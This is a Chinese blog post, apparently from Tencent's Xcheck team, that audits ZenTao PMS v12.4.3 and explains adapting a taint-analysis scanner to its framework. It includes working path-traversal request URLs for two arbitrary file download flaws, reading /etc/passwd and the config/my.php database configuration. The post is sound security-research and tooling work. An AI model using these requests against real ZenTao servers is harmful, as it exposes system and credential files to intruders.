前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >禅道开源版自动化安全审计

禅道开源版自动化安全审计

原创
作者头像
腾讯代码安全检查Xcheck
发布2021-01-18 15:54:05
1.3K0
发布2021-01-18 15:54:05
举报

0x00 禅道简介

ZenTaoPMS(ZenTao Project Management System),中文名为禅道项目管理软件。

禅道项目管理软件基于自主研发的PHP开发框架——禅道PHP框架开发而成。

禅道有四个版本,分别是开源版,专业版,企业版和集团版。

本文审计对象为禅道开源版,版本为v12.4.3。

0x01 禅道目录结构与路由

项目根目录如下图:

图片项目根目录
图片项目根目录

其中framework目录包括具体路由分发的实现,这里细节不再展开,可参考《禅道pms-路由及漏洞分析》这篇,链接在文后。

framework目录
framework目录

至于module目录,则是禅道应用程序具体功能的实现,包含60多个模块。

module目录
module目录

以其中一个模块为例,主要看control.php,model.php这两个文件。

模块示例
模块示例

control.php中的函数可被用户请求直接访问到,下图为admin/control.php中的register函数,则访问请求为index.php?m=admin&f=register&from=1,请求中的from的值赋值给$from

即m为对应module,f为对应方法,方法的参数也与请求中的参数一一对应。

框架路由相关设置
框架路由相关设置

0x02 CNVD-2020-65242 后台任意文件下载

漏洞入口位于file模块control.php中的sendDownHeader函数,

public function sendDownHeader($fileName, $fileType, $content, $type = 'content')
  {
    $this->file->sendDownHeader($fileName, $fileType, $content, $type);
  }

其中,$this->file即当前模块目录中model.php中类对象的实例,这里为fileModel。

fileModel的sendDownHeader函数
fileModel的sendDownHeader函数

漏洞代码位于922行,文件读取$content并输出,进入这个逻辑需要$file变量为字符串值file.

漏洞代码
漏洞代码

所以漏洞触发为index.php?m=file&f=sendDownHeader&fileName=2&fileType=1&content=/etc/passwd&type=file

读取/etc/passwd
读取/etc/passwd

若存在open_basedir限制,可读取数据库配置文件:index.php?m=file&f=sendDownHeader&fileName=2&fileType=1&content=./../../config/my.php&type=file

读取配置文件
读取配置文件

0x03 后台im模块downloadXxdPackage函数任意文件下载

漏洞代码
漏洞代码

触发链接:index.php?m=im&f=downloadXxdPackage&xxdFileName=../../../../../../../../../etc/passwd

读取/etc/passwd
读取/etc/passwd

0x04 Xcheck适配与分析检查

禅道使用的框架是自研的一套禅道PHP框架,具有一定的复杂性,不在xcheck默认支持框架范围内。

对于框架的适配,xcheck这边均采用人工经验赋能检查器的思路进行相关规则的添加。从人工审计出发,将污点分析理论的关键点传递给检查器,使检查器能够理解新框架中的代码。

以本文的禅道为例,经过前面对路由请求的分析,可得以下人工审计经验:

  1. module目录下子模块中control.php函数可被用户直接访问,函数参数为用户请求参数,即污点
  2. file模块中$this->file即同模块当中的model.php中的fileModel对象,client模块中$this->client为同模块中model.php 中的clientModel对象,其他模块也类似
  3. 模块control.php中继承的父类control存在loadModel方法,loadModel方法为动态调用对象,如 $this->loadModel("file") 则调用的为file模块中model.php的fileModel对象

loadModel函数
loadModel函数

通过将以上经验赋能给检查器,做一个禅道框架的简单适配,就可轻松检查发现项目中的安全漏洞。若由人工审计来做,对60多个子模块逐个审计,工作量可想而知。

downloadXxdPackage 任意文件下载
downloadXxdPackage 任意文件下载
CNVD-2020-65242 后台任意文件下载
CNVD-2020-65242 后台任意文件下载

0x05 最后

对禅道的代码检查发现问题数较多,对于其中部分与业务密切相关导致利用失败的或者存在一定利用条件的,本文不再赘述。

由于是简单适配,相关分析和提及安全问题仅供参考,有兴趣的小伙伴可发送消息后台一起讨论交流。

0x06 参考

  • 《禅道pms-路由及漏洞分析》https://www.anquanke.com/post/id/160473
  • 《【组件攻击链】禅道项目管理系统(ZenTaoPMS)高危漏洞分析与利用》https://mp.weixin.qq.com/s/LIugWEiETPwYmmLwZLe7Ag

想了解Xcheck更多信息或者代码安全审计相关技术欢迎关注xcheck公众号~

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 禅道简介
  • 0x01 禅道目录结构与路由
  • 0x03 后台im模块downloadXxdPackage函数任意文件下载
  • 0x04 Xcheck适配与分析检查
  • 0x05 最后
  • 0x06 参考
相关产品与服务
项目管理
CODING 项目管理(CODING Project Management,CODING-PM)工具包含迭代管理、需求管理、任务管理、缺陷管理、文件/wiki 等功能,适用于研发团队进行项目管理或敏捷开发实践。结合敏捷研发理念,帮助您对产品进行迭代规划,让每个迭代中的需求、任务、缺陷无障碍沟通流转, 让项目开发过程风险可控,达到可持续性快速迭代。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档